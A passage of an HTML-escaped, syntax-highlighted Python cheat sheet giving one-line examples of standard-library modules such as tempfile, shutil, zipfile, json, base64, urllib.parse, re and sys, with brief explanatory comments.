&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    tmp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;; path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; tmp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;name&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;workdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; tempfile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;mkdtemp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# shutil — high-level file operations&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; shutil&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;shutil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;copy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;a&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;b&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;; shutil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;copytree&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;src&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;dst&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;shutil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;move&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;a&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;b&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;; shutil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;rmtree&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;dir&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;shutil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;which&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;nmap&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                      # find an executable in PATH&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# zipfile — read&#x2F;write archives&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; zipfile&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span&gt; zipfile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ZipFile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;a.zip&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; z&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    z&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;namelist&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; z&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;extractall&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;out&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span&gt; zipfile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ZipFile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;new.zip&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;w&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; z&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    z&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;file.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;data-formats-json-base64-urllib&quot;&gt;Data formats: json, base64, urllib&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dumps&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;({&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;a&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;})&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                      # dict  -&amp;gt; JSON string&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;loads&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;{&amp;quot;a&amp;quot;: 1}&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # JSON string -&amp;gt; dict&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;d.json&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    obj&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;load&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # read+parse a file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;base64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;b64encode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;hi&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # -&amp;gt; b&amp;#39;aGk=&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;base64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;aGk=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                  # -&amp;gt; b&amp;#39;hi&amp;#39;   (common in payloads&#x2F;tokens)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; urllib&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;parse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; quote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; urlencode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; urlparse&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;quote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;a b&#x2F;c&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                            # &amp;#39;a%20b%2Fc&amp;#39;   (URL-encode a value)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;urlencode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;({&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;q&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;a b&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;n&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;})&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # &amp;#39;q=a+b&amp;amp;n=1&amp;#39;   (build a query string)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;urlparse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;h&#x2F;p?q=1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span&gt;query&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # &amp;#39;q=1&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;text-re-regex&quot;&gt;Text: re (regex)&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;re&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;search&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B98D7B;&quot;&gt;\d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;abc123&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # first match -&amp;gt; &amp;#39;123&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;re&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;findall&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B98D7B;&quot;&gt;\w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;a b c&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # -&amp;gt; [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;re&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sub&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B98D7B;&quot;&gt;\s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;_&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;a  b&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # -&amp;gt; &amp;#39;a_b&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B98D7B;&quot;&gt;\w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B98D7B;&quot;&gt;@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B98D7B;&quot;&gt;\w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;user@host&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # anchored at the start&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;),&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                     # -&amp;gt; (&amp;#39;user&amp;#39;, &amp;#39;host&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;system-sys-os-platform-subprocess&quot;&gt;System: sys, os, platform, subprocess&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                                  # raw command-line args (list)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                               # exit with a status code&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;stdin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; sys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;stdout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; sys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;stderr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # standard streams&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
